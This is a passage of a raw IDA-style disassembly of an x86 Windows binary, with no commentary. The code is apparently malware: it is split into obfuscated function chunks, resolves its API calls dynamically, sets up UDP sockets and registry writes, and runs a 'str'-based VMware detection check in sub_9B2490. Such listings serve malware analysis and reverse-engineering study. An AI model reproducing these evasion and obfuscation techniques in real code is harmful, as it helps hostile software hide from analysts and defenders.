; FUNCTION CHUNK AT 009B1ABC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B1CAC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2640 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B274C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B403C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B40B4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B4254 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B436C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4840 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B4874 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B4A64 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B586C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B58E4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B5AD3 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5EE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B61C0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B64E4 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8CFB
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3D0h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, [ebp+8]
		mov	[ebp-54h], eax
		mov	esi, [eax+0Ch]
		xor	ebx, ebx
		mov	[ebp-38h], esi
		mov	ecx, 77h
		sub	eax, eax
		mov	[ebp-4], ebx
		mov	[ebp-3Ch], ebx
		mov	[ebp-250h], ebx
		lea	edi, [ebp-24Ch]
		rep stosd
		mov	[ebp-30h], ebx
		call	sub_9A9F43
		cmp	eax, 0Ah
		jg	loc_9ACD74
		jmp	loc_9B0E1C
sub_9B1F68	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B1FE0:				; CODE XREF: sub_9B6504+3Ej
					; DATA XREF: .text:off_9B8CB9o
		call	sub_9A4FEF


loc_9B1FE5:				; CODE XREF: sub_9B6504+38j
		call	sub_9A5238
		test	eax, eax
		jz	loc_9B1C93
		jmp	loc_9B5F40
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1FF8:				; CODE XREF: sub_9B63D8-980Cj
		cmp	cl, 39h
		jg	loc_9AF944
		jmp	loc_9B612C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2010	proc near		; CODE XREF: sub_9ACEE8:loc_9AE600p
					; sub_9B1F68:loc_9B40B4p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AE6CC SIZE 0000004D BYTES
; FUNCTION CHUNK AT 009B012F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B0664 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 009B59B4 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAF53
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	eax, dword_9BEBF8
		and	eax, eax
		jz	loc_9AE6CC
		jmp	loc_9B0664
sub_9B2010	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2054:				; CODE XREF: sub_9B0930+42C1j
					; DATA XREF: .text:off_9BAB90o
		push	dword ptr [eax+18h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B92D5
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2068:				; CODE XREF: sub_9B0930+5E2j
					; DATA XREF: .text:off_9BACE0o
		push	off_9B977D
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+20h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	dword ptr [eax+20h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8904
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h


loc_9B20A0:				; CODE XREF: .text:009AE66Ej
					; DATA XREF: .text:off_9BAA05o
		cmp	eax, 80000000h
		jnb	loc_9B4B10
		jmp	off_9B92D9
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B20B4:				; CODE XREF: sub_9B4950-F40j
		cmp	dword_9BEC24[eax], ebx
		jnz	loc_9B3BE0
		jmp	loc_9B3BC8
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5FC0


loc_9B20C8:				; CODE XREF: sub_9B5FC0-5E9Cj
					; DATA XREF: .text:off_9BAB56o
		lea	ecx, [ebp+var_120]
		push	ecx
		push	2
		call	sub_9B6078
		add	esp, 8
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		push	0
		lea	ecx, [ebp+var_128]
		push	ecx
		push	0
		push	20006h
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_120]
		push	edx
		mov	ecx, [ebp+var_124]
		push	ecx
		call	dword ptr [eax+24h]
		test	eax, eax
		jnz	loc_9B2D12
		jmp	loc_9B2CFC
; END OF FUNCTION CHUNK	FOR sub_9B5FC0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2118	proc near		; CODE XREF: StartAddress+D3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AFA38 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B034B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B0570 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 009B2AE4 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BACA4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		sub	esi, esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_4], esi
		call	sub_9B0930
		test	eax, eax
		jz	loc_9B034B
		jmp	off_9BA786
sub_9B2118	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B2160	proc near		; CODE XREF: sub_9B3408:loc_9AF0B8p
					; sub_9B3D1C+37p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AF328 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B03B4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B165A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2434 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 009B59CC SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B8EB4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	ebx
		mov	[ebp+var_18], esp
		sub	edi, edi
		mov	[ebp+var_1C], edi
		push	4Ch
		pop	eax
		mov	[ebp+var_4], edi
		call	sub_9AF3E8
		mov	esi, eax
		mov	[ebp+var_1C], esi
		cmp	esi, edi
		jz	loc_9B2440
		jmp	loc_9AF328
sub_9B2160	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B21B0:				; CODE XREF: sub_9B2F1C+C9j
					; DATA XREF: .text:off_9B9F7Eo
		push	dword ptr [ecx+4]
		pop	eax
		mov	[esi+0Ah], eax
		mov	dword ptr [ebp-1Ch], 0Eh
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		movzx	ecx, word ptr [ecx+2]
		push	ecx
		call	dword ptr [eax+28h]
		mov	[esi+0Eh], ax
		mov	eax, 10h
		mov	[ebp-1Ch], eax


loc_9B21DC:				; CODE XREF: sub_9B2F1C+C3j
		test	bl, 10h
		jz	loc_9AF3D9
		jmp	off_9BA8F3
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9B21EC:				; CODE XREF: sub_9B03E8-4403j
					; DATA XREF: .text:off_9BAA7Fo
		mov	eax, dword_9BF380
		or	eax, 8
		mov	word ptr dword_9BF380, ax


loc_9B21FA:				; CODE XREF: sub_9B03E8-4409j
		mov	al, [ebp-0B2h]
		cmp	al, 1
		jnz	loc_9AFF3C
		jmp	loc_9AFF2C
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2210:				; CODE XREF: sub_9ADDA4+2A1j
		push	dword ptr [ebp+ecx*4-27Ch]
		pop	eax
		cdq
		add	esi, eax
		adc	ebx, edx
		inc	ecx
		jmp	loc_9AE034
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B2224:				; CODE XREF: sub_9ADAC4+7204j
					; DATA XREF: .text:off_9BA15Co
		test	al, 2
		jnz	loc_9AE6B5
		jmp	loc_9AF9FC
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B2234:				; CODE XREF: sub_9B63D8-6902j
		inc	esi
		mov	[ebp-212Ch], esi
		push	dword ptr [ebp-2124h]
		pop	ebx
		jmp	loc_9ACB69
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B2248:				; CODE XREF: sub_9AB1A0+5EA7j
		push	edi
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jnz	loc_9AD309
		jmp	loc_9AD304
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B2260:				; CODE XREF: sub_9ADDA4-1821j
		push	ecx
		pop	eax


loc_9B2262:				; CODE XREF: sub_9ADDA4-1827j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B227C	proc near		; CODE XREF: sub_9B4FD0-A08Cp
					; sub_9B46CC-7DACp ...

; FUNCTION CHUNK AT 009ACB10 SIZE 00000022 BYTES

		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	esi
		push	off_9BAF9B
		call	dword ptr [ecx+18h]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		push	eax
		pop	ecx
		mov	edx, ecx
		push	dword_9BCB94
		pop	eax
		sub	edx, eax
		mov	eax, 10624DD3h
		mul	edx
		push	dword_9BCB90
		pop	eax
		shr	edx, 6
		cmp	edx, 0E10h
		lea	esi, [edx+eax]
		jb	loc_9ACB1C
		jmp	loc_9ACB10
sub_9B227C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B29B0


loc_9B22D0:				; CODE XREF: sub_9B29B0+72j
					; DATA XREF: .text:off_9B901Co
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		call	dword ptr [edx+94h]
		cmp	eax, 0B7h
		jnz	loc_9B541B
		jmp	loc_9AE9CC
; END OF FUNCTION CHUNK	FOR sub_9B29B0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9B22F0:				; CODE XREF: sub_9B2F1C-54B8j
		mov	esi, [ebp+30h]
		push	dword ptr [ebp+8]
		pop	edi
		add	edi, eax
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, edx
		mov	[ebp-1Ch], eax
		push	dword ptr [ebp+8]
		pop	esi


loc_9B2310:				; CODE XREF: sub_9B2F1C-399Cj
		test	bl, bl
		jns	loc_9AE695
		jmp	loc_9ABB74
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B2324:				; CODE XREF: sub_9ACEE8+1725j
					; DATA XREF: .text:off_9BABACo
		call	sub_9B227C
		sub	eax, [ebp-0BCh]
		cmp	eax, 258h
		jbe	loc_9B34B9
		jmp	loc_9B47C4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B2340:				; CODE XREF: sub_9B3EFC-633Ej
					; DATA XREF: .text:off_9BAA3Eo
		cmp	ecx, 0FF000000h
		jz	loc_9AD6E0
		jmp	loc_9AE328
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B2354:				; CODE XREF: sub_9B562C-64BEj
					; DATA XREF: .text:off_9B9EB0o
		cmp	[ebp+var_12C], ebx
		jz	loc_9AE77C
		jmp	off_9BAAD0
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2368:				; CODE XREF: sub_9B0930+1630j
					; DATA XREF: .text:off_9BA7ACo
		push	off_9B8E7D
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+14h]
		pop	edx
		mov	[edx+8], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax+14h]
		pop	eax
		mov	ecx, [eax+8]
		and	ecx, ecx
		jz	short loc_9B23EF
		jmp	off_9B9624
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B2398:				; CODE XREF: sub_9B1A08+AFj
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+10h]
		pop	edx
		push	11h
		push	2
		push	2
		call	dword ptr [edx+20h]
		mov	[ebp+var_41E4],	eax
		and	eax, eax
		jz	loc_9B17C7
		jmp	off_9B9F6E
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B23C0:				; CODE XREF: sub_9B0930-33A7j
		push	off_9B983C
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+2Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+2Ch]
		test	ecx, ecx
		jz	short loc_9B23EF
		jmp	loc_9B0630
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B23EF:				; CODE XREF: sub_9B0930-5B16j
					; sub_9B0930-5832j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B240C:				; CODE XREF: sub_9B2E04-1D70j
					; sub_9B2E04+80j
					; DATA XREF: ...
		push	esi
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9B504C
		jmp	loc_9B6160
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9B2424:				; CODE XREF: sub_9B46CC-7D9Fj
		cmp	eax, 54A9D400h
		jbe	loc_9B2C05
		jmp	loc_9B2C00
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B2434:				; CODE XREF: sub_9B2160-1DA0j
					; sub_9B2160-B00j
					; DATA XREF: ...
		lea	ecx, [ebp+var_1C]
		call	sub_9B5480
		push	[ebp+var_1C]
		pop	esi


loc_9B2440:				; CODE XREF: sub_9B2160-1DA6j
					; sub_9B2160+43j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	esi
		pop	eax
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B245C:				; CODE XREF: sub_9B0930-2CBDj
		push	off_9B9738
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	ecx
		mov	[ecx+18h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		mov	ecx, [eax+18h]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B0EE4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B2490	proc near		; CODE XREF: sub_9B03E8+276Fp

var_4		= word ptr -4

		push	ecx
		str	[esp+4+var_4]
		xor	eax, eax
		cmp	[esp+4+var_4], 4000h
		setz	al
		pop	ecx
		retn
sub_9B2490	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B24A4:				; CODE XREF: sub_9B174C+3DD6j
					; DATA XREF: .text:off_9B9A21o
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		push	dword_9BBD30
		pop	eax
		test	eax, eax
		jbe	loc_9AB66B
		jmp	loc_9AB650
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B24CC:				; CODE XREF: sub_9AC6DC+7392j
		cmp	dword_9BBD10, eax
		ja	loc_9B6188
		jmp	loc_9B1568
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9B24E0:				; CODE XREF: sub_9AB3B0+8873j
					; DATA XREF: .text:off_9B997Co
		mov	edx, dword_9BA084
		mov	[edi], edx
		mov	eax, dword_9BA088
		mov	[edi+4], eax
		mov	cx, word_9BA08C
		mov	[edi+8], cx
		mov	dl, byte_9BA08E
		mov	[edi+0Ah], dl
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	esi, eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		xor	edx, edx
		mov	ecx, 6
		div	ecx
		mov	edx, off_9BAD2C[edx*4]
		mov	eax, edx


loc_9B2549:				; CODE XREF: sub_9AB3B0+719Ej
		mov	cl, [edx]
		inc	edx
		and	cl, cl
		jnz	short loc_9B2549
		jmp	sub_9B27D8
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4CF4


loc_9B2558:				; CODE XREF: sub_9B4CF4+76Dj
					; DATA XREF: .text:off_9BABBFo
		push	edx
		pop	esi
		push	eax
		pop	ecx
		shr	ecx, 2
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		push	dword ptr [ebp+8]
		pop	ecx


loc_9B256C:				; CODE XREF: sub_9B4CF4+3Dj
		cmp	ecx, 3
		jnz	loc_9AFEC9
		jmp	off_9B9EED
; END OF FUNCTION CHUNK	FOR sub_9B4CF4
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2584:				; CODE XREF: sub_9B0930-4885j
		push	off_9BAC5F
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		mov	[edx+6Ch], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+6Ch]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1EF0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B25BC:				; CODE XREF: sub_9B5904-E4Ej
					; DATA XREF: .text:off_9B9384o
		cmp	dword_9BEC30[eax], edi
		jnz	loc_9AB198
		jmp	loc_9B3EE8
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-334h]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9AD1A4


loc_9B25E5:				; CODE XREF: sub_9AD1A4+189Dj
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+1Ch]
		mov	eax, esi
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AD1A4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9B2618:				; CODE XREF: sub_9AF25C+4D0Ej
		push	0Ch
		pop	edx
		push	edi
		pop	ecx
		call	sub_9AEE5C
		test	al, 1
		jz	loc_9AB9C8
		jmp	off_9B9598
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B2630:				; CODE XREF: sub_9B04A8+4CF5j
		test	bl, 4
		jz	loc_9AFD43
		jmp	loc_9ACA28
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B2640:				; CODE XREF: sub_9B1F68+2414j
		mov	esi, [eax+ebp-24Ch]
		test	esi, esi
		jz	loc_9B58FB
		jmp	loc_9B58E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B2654:				; CODE XREF: sub_9AF654+114Aj
					; DATA XREF: .text:off_9B887Ao
		and	ecx, 3
		rep stosb
		add	dword ptr [edx], 0FFFFFDC0h
		mov	ecx, edx
		call	sub_9B3150
		test	eax, eax
		jz	loc_9B06EB
		jmp	loc_9AEB6C
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9B2674:				; CODE XREF: sub_9B0734-5492j
					; sub_9B0734-39C5j
		mov	esi, 41h


loc_9B2679:				; CODE XREF: sub_9B0734-39CBj
		push	esi
		pop	eax
		pop	esi
		pop	ecx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9B2680:				; CODE XREF: sub_9B2830-7078j
		cmp	esi, [ebp+8]
		jnz	loc_9AD190
		jmp	loc_9B4318
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B2690:				; CODE XREF: sub_9B3864-F82j
		push	201h
		pop	ecx
		div	ecx
		add	edx, 200h


loc_9B269E:				; CODE XREF: sub_9B3864-882Aj
		mov	[ebp+var_2074],	edx
		push	edx
		lea	edx, [ebp+var_201C]
		push	edx
		mov	eax, [ebp+var_2028]
		push	eax
		lea	ecx, [ebp+var_2068]
		lea	edx, [ebp+var_2050]
		call	sub_9B174C
		push	[ebp+var_2050]
		pop	ecx
		test	ecx, ecx
		jz	loc_9AF480
		jmp	off_9B9336
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACA48


loc_9B26DF:				; CODE XREF: sub_9ACA48+93D2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ACA48
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp+0Ch]
		pop	ebx
		push	ebx
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9B273C:				; CODE XREF: sub_9B2E04+2250j
					; DATA XREF: .text:off_9B9CECo
		cmp	edi, 0FFFFFFFFh
		jz	loc_9AC13B
		jmp	loc_9AB634
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B274C:				; CODE XREF: sub_9B1F68+2B08j
		mov	ecx, [ebp-38h]
		push	ecx
		lea	edx, [ebp-3Ch]
		push	edx
		push	64h
		lea	eax, [ebp-3E0h]
		push	eax
		push	6
		pop	ecx
		call	sub_9AB1A0
		push	dword ptr [ebp-3Ch]
		pop	eax
		test	eax, eax


loc_9B276B:				; CODE XREF: sub_9B1F68+2B02j
		jbe	loc_9B01DE
		jmp	loc_9ACE54
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B2778:				; CODE XREF: sub_9B4950-1296j
		lea	edi, [esi+esi*4]
		shl	edi, 3
		cmp	dword_9BEC1C[edi], ebx
		jz	loc_9B5C2E
		jmp	off_9B9388
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B2790:				; CODE XREF: sub_9B0930+5A19j
		push	off_9BA344
		push	ecx
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+4], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8E29
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B27C0:				; CODE XREF: sub_9B04A8-4503j
					; sub_9B04A8+4099j
		mov	dword ptr [ebp-4044h], 0


loc_9B27CA:				; CODE XREF: sub_9B04A8-2045j
